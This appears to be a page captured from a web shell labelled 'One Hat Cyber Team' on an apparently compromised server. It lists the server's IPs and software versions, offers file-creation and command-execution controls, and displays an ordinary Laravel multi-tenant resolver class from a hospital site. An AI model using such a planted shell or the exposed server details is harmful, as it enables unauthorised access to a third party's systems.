⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
hospital.dev-unit.com
/
app
/
Resolvers
/
View File Name :
MultiTenantResolver.php
<?php declare(strict_types=1); namespace App\Resolvers; use App\Models\User; use Stancl\Tenancy\Contracts\Tenant; use Stancl\Tenancy\Exceptions\TenantCouldNotBeIdentifiedByPathException; use Stancl\Tenancy\Resolvers\Contracts\CachedTenantResolver; class MultiTenantResolver extends CachedTenantResolver { public static $tenantParameterName = 'tenant'; /** @var bool */ public static $shouldCache = false; /** @var int */ public static $cacheTTL = 3600; // seconds /** @var string|null */ public static $cacheStore = null; // default public function resolveWithoutCache(...$args): Tenant { $userTenantId = null; if (getLoggedInUser() == null) { $user = User::where('username', request()->segment(2))->first(); $userTenantId = $user->tenant_id; } else { if (getLoggedInUser()->hasRole('Super Admin')) { $user = User::where('username', request()->segment(2))->first(); if ($user == null) { $userTenantId = getLoggedInUser()->tenant_id; } else { $userTenantId = $user->tenant_id; } } else { $userTenantId = getLoggedInUser()->tenant_id; } } if ($userTenantId == null) { return new \Stancl\Tenancy\Database\Models\Tenant; } if ($tenant = tenancy()->find($userTenantId)) { return $tenant; } throw new TenantCouldNotBeIdentifiedByPathException($userTenantId); } public function getArgsForTenant(Tenant $tenant): array { return [ [$tenant->id], ]; } }